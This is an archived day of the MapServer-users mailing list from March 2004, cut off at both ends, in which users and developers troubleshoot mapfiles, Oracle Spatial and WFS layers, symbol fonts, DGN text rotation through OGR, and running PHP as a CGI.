SIZEUNITS meters > TRANSPARENCY 50 > CLASS > SIZE 1000 > NAME 'transcircle' > SYMBOL 'transcircle' > COLOR 255 0 0 > END > END > SYMBOL > NAME 'transcircle' > TYPE ELLIPSE > POINTS 1 1 > END > FILLED TRUE > END > > > > > From cz_toh at yahoo.com Wed Mar 17 07:00:22 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Wed, 17 Mar 2004 15:00:22 +0000 (GMT) Subject: [Mapserver-users] Own map does not show up on browser Message-ID: <20040317150022.11262.qmail@web14006.mail.yahoo.com> I have looked into the wld file but I am not sure what the numbers mean Also how would the mapfile recognize which wld file I am using? ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From eric at gomoos.org Wed Mar 17 07:06:44 2004 From: eric at gomoos.org (Eric Bridger) Date: 17 Mar 2004 10:06:44 -0500 Subject: [Mapserver-users] Symbology on severals field in db In-Reply-To: <40581180.5030205@cerene.fr> References: <40581180.5030205@cerene.fr> Message-ID: <1079536010.1887.5.camel@ubet.gomoos.org> Yes this is possible in the mapfile. There are a number of options for patterm matching in your CLASS EXRESSION. See: http://mapserver.gis.umn.edu/doc40/mapfile-reference.html#class for the exact syntax but it would be something like: "[product] = ** AND [state] = 1" On Wed, 2004-03-17 at 03:51, St?phane RIFF wrote: > Hello , > > I don't know if it's possible but : > > I want to set a symbology based on two fields : "state, product" > I have a layer with a number of class to represent product with > an expression : "[product] = **" > > Know i would like to set the color of each classing the state > field wiche can be : "1,2,3,4 or 5" > > Is it possible with the mapFile or maybe with mapscript.... > > I hope i'm understandable > > Thx. > > Steff > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From eric at gomoos.org Wed Mar 17 07:13:22 2004 From: eric at gomoos.org (Eric Bridger) Date: 17 Mar 2004 10:13:22 -0500 Subject: [Mapserver-users] Image-Symbol as Label instead of Text-Label In-Reply-To: <40584FB5.2020306@hs-harz.de> References: <40584FB5.2020306@hs-harz.de> Message-ID: <1079536408.1882.9.camel@ubet.gomoos.org> Yes this is possible using a TrueType font of symbols. Your text label should be a single ascii char which maps to the symbol you want to use. On Wed, 2004-03-17 at 08:16, Bj?rn Voigt wrote: > Hello everybody, > > I am using mapserver 4 and I have to display hiking trails in a map. > Is it possible to show images instead of text as a label for lines? > > to show u what I mean: > > http://www2.hs-harz.de/~584/example.png > > thank you for help > > Bj?rn Voigt > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From eric at gomoos.org Wed Mar 17 07:17:30 2004 From: eric at gomoos.org (Eric Bridger) Date: 17 Mar 2004 10:17:30 -0500 Subject: [Mapserver-users] demo problem and postgis In-Reply-To: References: Message-ID: <1079536655.1887.13.camel@ubet.gomoos.org> Sorry I don't have the details, but somewhere in your demo there is a reference to symbols/ctyhwy.gif which must be changed to ctyhwy.png. You must also convert the ctyhwy.gif to ctyhwy.png. Or you could just try removing the references to ctyhwy.gif. Could be in your templates or in your symbol.sym file. On Wed, 2004-03-17 at 09:30, Saurabh Data wrote: > Hi > > I now have successfully compiled and installed mapserver and want to test it > by doing a demo .. > > On http://mapserver.gis.umn.edu/demo_readme.html : > > 1) The link to download the demo is not working > 2) I somehow got the demo from faq page and while running it it says : > > msLoadMap(): General error message. Undefined overlay symbol > "symbols/ctyhwy.gif" in class 0, style 0 of layer ctyrdln3_anno. > msAddImageSymbol(): General error message. Unable to load GIF symbol. > > I think this is asking for GIF library.. where as I have PNG anf JPEG > installed. Also I think GIF is proprietary !! .. > > what do I do to resolve the problem > > Also, as I am new to mapserver and want to use postGIS as a backend , can > anyone give me any ideas to to do it ? I couldnot find any information on > documentation page.!! > > cheers > > Saurabh Data > > _________________________________________________________________ > Stay in touch with absent friends - get MSN Messenger > http://www.msn.co.uk/messenger > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From potocny at espace.cz Wed Mar 17 07:53:43 2004 From: potocny at espace.cz (Jiri Potocny) Date: Wed, 17 Mar 2004 16:53:43 +0100 Subject: [Mapserver-users] Unable to display data stored in Oracle Spatial Message-ID: <007a01c40c38$100ff680$bc03a8c0@twoflower> Dear MapServer experts, could you please help me with following problem? I'm trying to display data strored in Oracle Spatial, but I allways get a blank map. The map file is as follows: MAP IMAGETYPE PNG EXTENT -551051 -1288960 -548185 -1286773 SIZE 800 600 IMAGECOLOR 255 255 255 LAYER NAME parcels DUMP TRUE STATUS DEFAULT TYPE POLYGON CONNECTIONTYPE oraclespatial CONNECTION username/password at netservisname DATA "BOUNDARY FROM PARCELS" CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END END If I export the data from oracle into the shapefile and use following map file, everything is O.K. MAP IMAGETYPE PNG EXTENT -551051 -1288960 -548185 -1286773 SIZE 800 600 SHAPEPATH "data" IMAGECOLOR 255 255 255 LAYER NAME parcely DUMP TRUE STATUS DEFAULT TYPE POLYGON DATA PARCELS CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END END The only difference is in the data source, the data (attributes as well as geometries) are the same. I'm running MapServer 4.0.1 with Oracle Spatial support (downloaded from http://hypnos.cbs.umn.edu/projects/downloads/ms401_png_oracle.zip) and Oracle Database Server version 9.2.0.1.0 on Windows 2000 Professional SP 3. Could anybody get throught this problem. Much appreciated, Jirka From bvoigt at hs-harz.de Wed Mar 17 08:14:23 2004 From: bvoigt at hs-harz.de (=?ISO-8859-15?Q?Bj=F6rn_Voigt?=) Date: Wed, 17 Mar 2004 17:14:23 +0100 Subject: [Mapserver-users] Image-Symbol as Label instead of Text-Label In-Reply-To: <1079536408.1882.9.camel@ubet.gomoos.org> References: <40584FB5.2020306@hs-harz.de> <1079536408.1882.9.camel@ubet.gomoos.org> Message-ID: <4058795F.7090008@hs-harz.de> Eric Bridger schrieb: >Yes this is possible using a TrueType font of symbols. Your text label >should be a single ascii char which maps to the symbol you want to use. > > thank you Eric, where can I find a good geographic symbol ttf? Bj?rn Voigt From teb at mallit.fr.umn.edu Wed Mar 17 08:06:04 2004 From: teb at mallit.fr.umn.edu (Thomas E Burk) Date: Wed, 17 Mar 2004 10:06:04 -0600 (CST) Subject: [Mapserver-users] Opendap/DODS data and mapserver Message-ID: <200403171606.i2HG64c2008185@mallit.fr.umn.edu> > > Hi list, > >Does anyone have some experience using mapserver and data stored in a >DODS/Opendap server ? >Another question : I'm from the world of oceanography, do you know some >connection between GIS and oceanography ? > >Thanks, >Tony > >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >Tony Jolibois >CLS, Direction Oc?anographie Spatiale >Tel: (+33) (0) 561 393 797 >Internet: http://www.cls.fr >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The MapServer/OPeNDAP connection is under development. Go to the MapServer Wiki and search for DODS. There was demand from the OPeNDAP community to have MapServer-like functionality. See for an example; that effort is pre-MapServer/DODS connectivity. Tom From nicolas.fortin at ec.gc.ca Wed Mar 17 08:28:26 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Wed, 17 Mar 2004 11:28:26 -0500 Subject: [Mapserver-users] Strange result with WMS layer Message-ID: Hi list, I made a simple viewer to see the layers of one of my mapfile. Some of these layers are valid WMS layers. When I want to see one of these layers, the result is the html in ascii with this at the begining: GDAL: GDALClose(C:/Inetpub/wwwroot/tmp/107954018813960.img.tmp) Content-type: text/html If I browse the html file I can find the path to the result image and I can go in that directory and see the result, which is perfect. How can I make this works and why these two lines appear? Here's some part of my mapfile: NAME CYBER01 EXTENT 7630000 1310000 7680000 1360000SIZE 425 425 SYMBOLSET 'C:\Inetpub\wwwroot\mapserv\symbols\symbols35.sym' # Also tried init=EPSG:4326 PROJECTION "proj=lcc" "ellps=GRS80" "lat_0=63" "lon_0=-91.8666" "lat_1=49" "lat_2=77" "x_0=6200000" "y_0=2958000" "datum=NAD83" "units=m" END # WMS Layer LAYER NAME "4" METADATA "wms_title" "Municipality" "wms_srs" "EPSG:4326 EPSG:54008" "wms_name" "1" "wms_server_version" "1.1.1" "wms_format" "image/png" END TYPE RASTER STATUS OFF CONNECTIONTYPE WMS CONNECTION "http://***/ogcwms/servlet/com.esri.ogc.wms.WMSServlet?SERVICENAME=mh1996video" #ArcIMS WMS PROJECTION "init=epsg:4326" END END I use Win2k and IIS Thx, Nicolas Fortin Math?maticien, Programmeur, Analyste de donn?es SMC-Qu?bec Hydrologie, Environnement Canada 1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 (418)648-2516 nicolas.fortin at ec.gc.ca From nicolas.fortin at ec.gc.ca Wed Mar 17 08:44:37 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Wed, 17 Mar 2004 11:44:37 -0500 Subject: [Mapserver-users] Unable to display data stored in Oracle Spatial Message-ID: Hi Jiri, You should use a PROJECTION element in your mapfile for this layer or you should add USING SRID XXXXX at the end of your DATA request. Example: LAYER NAME "3" TYPE POLYGON CONNECTIONTYPE oraclespatial CONNECTION "uid/pwd at dbname" DATA "GEOLOC FROM USR_WATERSHED.VWTRSD_LCC USING SRID 3000000" STATUS OFF DUMP TRUE PROJECTION "proj=lcc" "ellps=GRS80" "lat_0=63" "lon_0=-91.8666" "lat_1=49" "lat_2=77" "x_0=6200000" "y_0=2958000" "datum=NAD83" "units=m" END CLASS NAME "Watershed" SYMBOL 'CIRCLE' SIZE 2 COLOR 255 255 255 OUTLINECOLOR 0 204 0 END END # Watershed Nicolas -----Message d'origine----- De : Jiri Potocny [mailto:potocny at espace.cz] Envoy? : Wednesday, March 17, 2004 10:54 AM ? : mapserver-users at lists.gis.umn.edu Objet : [Mapserver-users] Unable to display data stored in Oracle Spatial Dear MapServer experts, could you please help me with following problem? I'm trying to display data strored in Oracle Spatial, but I allways get a blank map. The map file is as follows: MAP IMAGETYPE PNG EXTENT -551051 -1288960 -548185 -1286773 SIZE 800 600 IMAGECOLOR 255 255 255 LAYER NAME parcels DUMP TRUE STATUS DEFAULT TYPE POLYGON CONNECTIONTYPE oraclespatial CONNECTION username/password at netservisname DATA "BOUNDARY FROM PARCELS" CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END END If I export the data from oracle into the shapefile and use following map file, everything is O.K. MAP IMAGETYPE PNG EXTENT -551051 -1288960 -548185 -1286773 SIZE 800 600 SHAPEPATH "data" IMAGECOLOR 255 255 255 LAYER NAME parcely DUMP TRUE STATUS DEFAULT TYPE POLYGON DATA PARCELS CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END END The only difference is in the data source, the data (attributes as well as geometries) are the same. I'm running MapServer 4.0.1 with Oracle Spatial support (downloaded from http://hypnos.cbs.umn.edu/projects/downloads/ms401_png_oracle.zip) and Oracle Database Server version 9.2.0.1.0 on Windows 2000 Professional SP 3. Could anybody get throught this problem. Much appreciated, Jirka _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eric at gomoos.org Wed Mar 17 08:50:01 2004 From: eric at gomoos.org (Eric Bridger) Date: 17 Mar 2004 11:50:01 -0500 Subject: [Mapserver-users] Image-Symbol as Label instead of Text-Label In-Reply-To: <4058795F.7090008@hs-harz.de> References: <40584FB5.2020306@hs-harz.de> <1079536408.1882.9.camel@ubet.gomoos.org> <4058795F.7090008@hs-harz.de> Message-ID: <1079542207.1887.21.camel@ubet.gomoos.org> I'm not sure of the legal/licensing status of these, but try: http://www.moorstation.org/typoasis/designers/esri/index.htm http://www.mapsymbols.com/ Eric On Wed, 2004-03-17 at 11:14, Bj?rn Voigt wrote: > Eric Bridger schrieb: > > >Yes this is possible using a TrueType font of symbols. Your text label > >should be a single ascii char which maps to the symbol you want to use. > > > > > > thank you Eric, > > where can I find a good geographic symbol ttf? > > Bj?rn Voigt > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From simon at inf.univali.br Wed Mar 17 09:12:12 2004 From: simon at inf.univali.br (Fernando S.) Date: Wed, 17 Mar 2004 14:12:12 -0300 Subject: [Mapserver-users] Unable to display data stored in Oracle Spatial In-Reply-To: <007a01c40c38$100ff680$bc03a8c0@twoflower> References: <007a01c40c38$100ff680$bc03a8c0@twoflower> Message-ID: <405886EC.2040902@inf.univali.br> This is a multi-part message in MIME format. --------------050001010808050300080501 Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 8bit Hi Jiri, I don't know if I can help you. But I will try. I need to do some questions to help you: How you imported the data to Oracle? Using shp2sdo? If yes, after you imported the data, did you execute this function: SDO_MIGRATE.TO_CURRENT(' TABLE ',' GEOMETRY_COLUMN '); If you create a table with geometry columns, and populate it, and try show it in the mapserv? It appeared in the image? I don't know if I help you, sorry my poor english. If you need some help, you can report me. ================================================================== Fernando Simon - simon at cttmar.univali.br ================================================================== DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 - Laborat?rio de Computa?a~o Aplicada Fone: 047 - 341 7960 http://g10.cttmar.univali.br ================================================================== Jiri Potocny wrote: >Dear MapServer experts, > >could you please help me with following problem? > >I'm trying to display data strored in Oracle Spatial, but I allways get a >blank map. >The map file is as follows: > >MAP > IMAGETYPE PNG > EXTENT -551051 -1288960 -548185 -1286773 > SIZE 800 600 > IMAGECOLOR 255 255 255 > > LAYER > NAME parcels > DUMP TRUE > STATUS DEFAULT > TYPE POLYGON > > CONNECTIONTYPE oraclespatial > CONNECTION username/password at netservisname > DATA "BOUNDARY FROM PARCELS" > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END > >END > >If I export the data from oracle into the shapefile and use following map >file, everything is O.K. > >MAP > IMAGETYPE PNG > EXTENT -551051 -1288960 -548185 -1286773 > SIZE 800 600 > SHAPEPATH "data" > IMAGECOLOR 255 255 255 > > LAYER > NAME parcely > DUMP TRUE > STATUS DEFAULT > TYPE POLYGON > DATA PARCELS > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END > >END > >The only difference is in the data source, the data (attributes as well as >geometries) are the same. I'm running MapServer 4.0.1 with Oracle Spatial >support (downloaded from >http://hypnos.cbs.umn.edu/projects/downloads/ms401_png_oracle.zip) and >Oracle Database Server version 9.2.0.1.0 on Windows 2000 Professional SP 3. > >Could anybody get throught this problem. > >Much appreciated, >Jirka > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > --------------050001010808050300080501 Content-Type: text/html; charset=ISO-8859-2 Content-Transfer-Encoding: 8bit Hi Jiri,
??? I don't know if I can help you. But I will try.
??? I need to do some questions to help you:
??????? How you imported the data to Oracle?
??????? Using shp2sdo? If yes, after you imported the data, did you execute this function:
??????????? SDO_MIGRATE.TO_CURRENT(' TABLE ',' GEOMETRY_COLUMN ');
???????? If you create a table with geometry columns, and populate it, and try show it in the mapserv? It appeared in the image?

??? I don't know if I help you, sorry my poor english.
??? If you need some help, you can report me.

==================================================================
Fernando Simon - simon at cttmar.univali.br
==================================================================
DataBase Manager, Mapserver, OracleSpatial and PostGis Developer
G10 - Laborat?rio de Computa?ão Aplicada
Fone: 047 - 341 7960
http://g10.cttmar.univali.br
==================================================================

Jiri Potocny wrote: 
Dear MapServer experts,

could you please help me with following problem?

I'm trying to display data strored in Oracle Spatial, but I allways get a
blank map.
The map file is as follows:

MAP
  IMAGETYPE      PNG
  EXTENT -551051 -1288960 -548185 -1286773
  SIZE           800 600
  IMAGECOLOR     255 255 255

  LAYER
    NAME           parcels
    DUMP           TRUE
    STATUS         DEFAULT
    TYPE           POLYGON

    CONNECTIONTYPE oraclespatial
    CONNECTION     username/password at netservisname
    DATA           "BOUNDARY FROM PARCELS"

    CLASS
      COLOR        232 232 232
      OUTLINECOLOR 32 32 32
    END
  END

END

If I export the data from oracle into the shapefile and use following map
file, everything is O.K.

MAP
  IMAGETYPE      PNG
  EXTENT -551051 -1288960 -548185 -1286773
  SIZE           800 600
  SHAPEPATH      "data"
  IMAGECOLOR     255 255 255

  LAYER
    NAME           parcely
    DUMP           TRUE
    STATUS         DEFAULT
    TYPE           POLYGON
    DATA          PARCELS

    CLASS
      COLOR        232 232 232
      OUTLINECOLOR 32 32 32
    END
  END

END

The only difference is in the data source, the data (attributes as well as
geometries) are the same. I'm running MapServer 4.0.1 with Oracle Spatial
support (downloaded from
http://hypnos.cbs.umn.edu/projects/downloads/ms401_png_oracle.zip) and
Oracle Database Server version 9.2.0.1.0 on Windows 2000 Professional SP 3.

Could anybody get throught this problem.

Much appreciated,
Jirka

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

--------------050001010808050300080501-- From Han.Lee at Advantica.biz Wed Mar 17 09:06:38 2004 From: Han.Lee at Advantica.biz (Lee, Han) Date: Wed, 17 Mar 2004 12:06:38 -0500 Subject: [Mapserver-users] Rotating text problem relating to OGR and Dgn File Message-ID: I am trying to display text from DGN file using OGR. I am able to display the text but the text is not rotated. I define my layer like this: LAYER NAME Courval_Text TYPE ANNOTATION CONNECTIONTYPE OGR CONNECTION "D:\WMV_Data\ShapeFiles\Courval.dgn" STATUS DEFAULT STYLEITEM "AUTO" MINSCALE -10 MAXSCALE 3000 CLASS END # class TOLERANCE 10 DUMP TRUE # allow GML export METADATA WMS_TITLE "Background" WMS_ABSTRACT "Background" WMS_SRS "EPSG:26915" END END I tried many different formats (ArcInfo coverage, mif, tab files) to rotate the text, but that didn't work. I thought that STYLEITEM "AUTO" should use the angel value to rotate the text. Any ideas? Han From bartvde at xs4all.nl Wed Mar 17 09:32:12 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Wed, 17 Mar 2004 18:32:12 +0100 Subject: [Mapserver-users] WFS layers In-Reply-To: References: <20040315203153.30795.qmail@web60006.mail.yahoo.com> Message-ID: Hi, I have just been able to reproduce your problem. It is caused when you (or Mapserver) request(s) data in a BBOX where there is no data found. But this is not the way a WFS should respond, so I have filed a bug for it, see: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=597 Best regards, Bart On Tue, 16 Mar 2004 19:32:39 +0100, Bart van den Eijnden wrote: > Hi, > > I don't know if this could be the cause of your problem, but do you have > a TEMPLATE set in your CLASS? BTW do you have any errors in the web > server error log? > > Here is a WFS LAYER that works for me: > > CONNECTIONTYPE WFS > CONNECTION > "http://localhost/cgi-bin/mapserv_41.exe?map=c:/ms4w/apps/geodan_sample/map/sample_wms_wfs_server.map&SERVICE=WFS&VERSION=1.0.0&TYPENAME=popplace" > LabelItem "Name" > CLASS > TEMPLATE "ttt_query.html" > NAME "Large Cities" > LABEL > COLOR 118 129 27 > FONT fritqat-italic > TYPE truetype > SIZE 8 > POSITION AUTO > #PARTIALS FALSE > OUTLINECOLOR 255 255 255 > FORCE TRUE > END > COLOR 0 0 0 > END > CLASS > TEMPLATE "ttt_query.html" > SYMBOL 3 > SIZE 4 > NAME "Cities" > COLOR 0 0 0 > END > TOLERANCE 5 > END > > Best regards, > Bart > > On Mon, 15 Mar 2004 12:31:53 -0800 (PST), we wei > wrote: > >> Hi all, >> >> I have a question about WFS. I have already compiled >> mapserver with WFS server and client. And the >> mapserver is the latest version that I got from the >> nightly built. And I tested this setting running WFS >> service thru a browser as follow: >> >> http://localhost/cgi-bin/mapserv_wfs?map=/opt/mapfiles/wfs.map&service >> =WFS&version=1.0.0&request=getfeature&typename=mylayer >> >> And it works okay. I can successfully got all the >> features in GML formats. >> >> However, when I tried to make add this WFS service as >> the data sources in a layer of my demo application. >> It does not work. >> >> It returns to me nothing because of the error occured. >> >> And I got a gml.tmp file with the follow result: >> >> ?xml version='1.0' encoding="ISO-8859-1" ?> >> > xmlns="http://www.ttt.org/myns" >> xmlns:myns="http://www.ttt.org/myns" >> xmlns:wfs="http://www.opengis.net/wfs" >> xmlns:gml="http://www.opengis.net/gml" >> xmlns:ogc="http://www.opengis.net/ogc" >> >> xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" >> xsi:schemaLocation="http://www.opengis.net/wfs >> http://ogc.dmsolutions.ca/wfs/1.0.0/WFS-basic.xsd >> http://www.ttt.org/myns >> http://http://localhost/cgi-bin/mapserv_wfs?map=/opt/mapfiles/wfs.map;SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=mylayer"> >> >> inapplicable >> >> >> >> >> It seems to me that I could this gml file doesn't not >> contain any features so that the image of the layer >> couldn't be drawns. >> >> I don't know if I am right but I suspect that the >> resultcache is empty so that it couldn't output >> anything to this GML file. >> >> I did put "Dump true" in my mapfile. And I put >> ConnectionType WFS and >> Connection >> "http://localhost/cgi-bin/mapserv_wfs?map=/opt/mapfiles/wfs.map&service >> =WFS&version=1.0.0&request=getfeature&typename=mylayer" >> >> in my mapfile too. >> >> I just wonder if anyone could give me some hints on >> this problem ? >> >> I am new to this GIS stuff. Any help would be greatly >> appreciated :) >> >> Thanks in advance! >> >> __________________________________ >> Do you Yahoo!? >> Yahoo! Mail - More reliable, more storage, less spam >> http://mail.yahoo.com >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > -- From sd at dil.in Wed Mar 17 09:51:15 2004 From: sd at dil.in (Saurabh Data) Date: Wed, 17 Mar 2004 17:51:15 +0000 Subject: [Mapserver-users] performance and reliability Message-ID: Hi I am doing a research on "Spatial Databses; an analysis of open source systems" As part of it , I am writing a few pages about mapserver its functionality, performance and reliability. I request experienced programmers or mapserver to comment about its performance and reliability issues and if possible compare with any of the proprietary systems like ESRI SDE or oracle spatial or if any links to related or proof articles Thanks for any help Cheers Saurabh Data _________________________________________________________________ It's fast, it's easy and it's free. Get MSN Messenger today! http://www.msn.co.uk/messenger From mh at svaj.dk Wed Mar 17 10:11:54 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Wed, 17 Mar 2004 19:11:54 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: <5kj3g4w0uk3iqye.170320041911@mail.inet.dk> Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From dgadoury at dmsolutions.ca Wed Mar 17 10:10:50 2004 From: dgadoury at dmsolutions.ca (Dean Gadoury) Date: Wed, 17 Mar 2004 13:10:50 -0500 Subject: [Mapserver-users] performance and reliability In-Reply-To: References: Message-ID: <405894AA.1090601@dmsolutions.ca> Well, you'll get some pretty favorable reviews of MapServer from this list! ;) I'll leave that to the experienced programmers, but I'm sure everyone would be interested in seeing the results of your research. Do you plan to make that available once you are done? Dean Saurabh Data wrote: > Hi > I am doing a research on "Spatial Databses; an analysis of open source > systems" > As part of it , I am writing a few pages about mapserver its > functionality, performance and reliability. > I request experienced programmers or mapserver to comment about its > performance and reliability issues and if possible compare with any of > the proprietary systems like ESRI SDE or oracle spatial > or if any links to related or proof articles > > Thanks for any help > > Cheers > > Saurabh Data > > _________________________________________________________________ > It's fast, it's easy and it's free. Get MSN Messenger today! > http://www.msn.co.uk/messenger > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ___________________________ Dean Gadoury DM Solutions Group 30 Rosemount Ave. Suite 200 Ottawa, Ontario. K1Y 1P4 613.565.5056 ext. 24 dgadoury at dmsolutions.ca www.dmsolutions.ca From thaxter at gomoos.org Wed Mar 17 10:37:22 2004 From: thaxter at gomoos.org (Jason Thaxter) Date: Wed, 17 Mar 2004 13:37:22 -0500 Subject: [Mapserver-users] Using PHP as CGI when compiled as DSO In-Reply-To: References: <4F922D99-7772-11D8-8856-000393CACF38@ll.mit.edu> Message-ID: <20040317183722.GA1170@whitehead.gomoos.org> Yet another way to run PHP CGI when compiled as a DSO and/or free-standing language (but not as a CGI). As usual: In httpd.conf: Action phtml-script /cgi-bin/php AddHandler phtml-script .phtml This assumes that /cgi-bin is a ScriptAlias'd directory, e.g.: ScriptAlias /cgi-bin/ /path/to/cgi-bin But: In the CGI directory, make php the following script: #!/bin/sh php -f $PATH_TRANSLATED This assumes that php can be found in the $PATH under which Apache runs. Make it: /path/to/your/php -f $PATH_TRANSLATED if in doubt... I'm adding a note to the Wiki. Hopefully this Wiki page will keep evolving for as long as PHP mapscript cannot run as a module. Jason -- ---------------------------------------------- Jason Thaxter GoMOOS, P.O. Box 4919, Portland, ME 04112-4919 Office Location: 1 Canal Plaza, 7th Floor Office: 207.773.0423 Fax: 207.773.8672 Email: thaxter at gomoos.org ------------www.gomoos.org-------------------- From sgillies at frii.com Wed Mar 17 10:39:41 2004 From: sgillies at frii.com (Sean Gillies) Date: Wed, 17 Mar 2004 11:39:41 -0700 Subject: [Mapserver-users] performance and reliability In-Reply-To: References: Message-ID: <73A40D49-7842-11D8-B9A2-000393B98B56@frii.com> On Mar 17, 2004, at 10:51 AM, Saurabh Data wrote: > Hi > I am doing a research on "Spatial Databses; an analysis of open source > systems" > As part of it , I am writing a few pages about mapserver its > functionality, performance and reliability. > I request experienced programmers or mapserver to comment about its > performance and reliability issues and if possible compare with any of > the proprietary systems like ESRI SDE or oracle spatial > or if any links to related or proof articles > > Thanks for any help > > Cheers > > Saurabh Data > MapServer is not a spatial database and so cannot be meaningfully compared to ESRI SDE or oracle spatial. cheers, Sean From warmerdam at pobox.com Wed Mar 17 10:55:08 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 17 Mar 2004 13:55:08 -0500 Subject: [Mapserver-users] Rotating text problem relating to OGR and Dgn File In-Reply-To: References: Message-ID: <40589F0C.80507@pobox.com> Lee, Han wrote: > I am trying to display text from DGN file using OGR. > I am able to display the text but the text is not rotated. ... > > I tried many different formats (ArcInfo coverage, mif, tab files) to rotate > the text, > but that didn't work. > I thought that STYLEITEM "AUTO" should use the angel value to rotate the > text. > > Any ideas? Han, First, I believe you need to use FreeType2 support with outline fonts. I can't remember the details of this (been a while) but the default font mechanism in MapServer doesn't support rotation. However, it is more likely that the angle is just not being carried through in the autostyling. I would encourage you to use ogrinfo to dump the features in the layer in question and look at the style strings to see if the rotation angles are coming through. If not, then the problem is at my end and you could file a bug in the GDAL/OGR Bugzilla. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From Han.Lee at Advantica.biz Wed Mar 17 11:10:47 2004 From: Han.Lee at Advantica.biz (Lee, Han) Date: Wed, 17 Mar 2004 14:10:47 -0500 Subject: [Mapserver-users] Rotating text problem relating to OGR and D gn File Message-ID: Frank, I ran the ogrinfo and got the following output: ... OGRFeature(elements):7597 Type (Integer) = 17 Level (Integer) = 18 GraphicGroup (Integer) = 0 ColorIndex (Integer) = 118 Weight (Integer) = 2 Style (Integer) = 0 EntityNum (Integer) = (null) MSLink (Integer) = (null) Text (String) = CENTRE COMMERCIALE Style = LABEL(t:"CENTRE COMMERCIALE",c:#8f2300,s:12g,a:277) POINT (1121698.730 1119231.755) OGRFeature(elements):7598 Type (Integer) = 17 Level (Integer) = 18 GraphicGroup (Integer) = 0 ColorIndex (Integer) = 118 Weight (Integer) = 2 Style (Integer) = 0 EntityNum (Integer) = (null) MSLink (Integer) = (null) Text (String) = GRAND PLACE DES BOIS FRANC Style = LABEL(t:"GRAND PLACE DES BOIS FRANC",c:#8f2300,s:12g,a:277) POINT (1121678.536 1119229.434) ... It looks like the rotation angles are coming through. I am currently running Mapserver version 4.0.1. Here is my version information: C:\Inetpub\Scripts>mapserv -v MapServer version 4.0.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLI ENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE Do I need to install something to use FreeType2 support? Thank you for your help. Han -----Original Message----- From: Frank Warmerdam [mailto:warmerdam at pobox.com] Sent: Wednesday, March 17, 2004 1:55 PM To: Lee, Han Cc: 'mapserver-users at lists.gis.umn.edu' Subject: Re: [Mapserver-users] Rotating text problem relating to OGR and Dgn File Lee, Han wrote: > I am trying to display text from DGN file using OGR. > I am able to display the text but the text is not rotated. ... > > I tried many different formats (ArcInfo coverage, mif, tab files) to rotate > the text, > but that didn't work. > I thought that STYLEITEM "AUTO" should use the angel value to rotate the > text. > > Any ideas? Han, First, I believe you need to use FreeType2 support with outline fonts. I can't remember the details of this (been a while) but the default font mechanism in MapServer doesn't support rotation. However, it is more likely that the angle is just not being carried through in the autostyling. I would encourage you to use ogrinfo to dump the features in the layer in question and look at the style strings to see if the rotation angles are coming through. If not, then the problem is at my end and you could file a bug in the GDAL/OGR Bugzilla. Best regards, -- ---------------------------------------+------------------------------------ -- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From nicolas.fortin at ec.gc.ca Wed Mar 17 11:26:12 2004 From: nicolas.fortin at 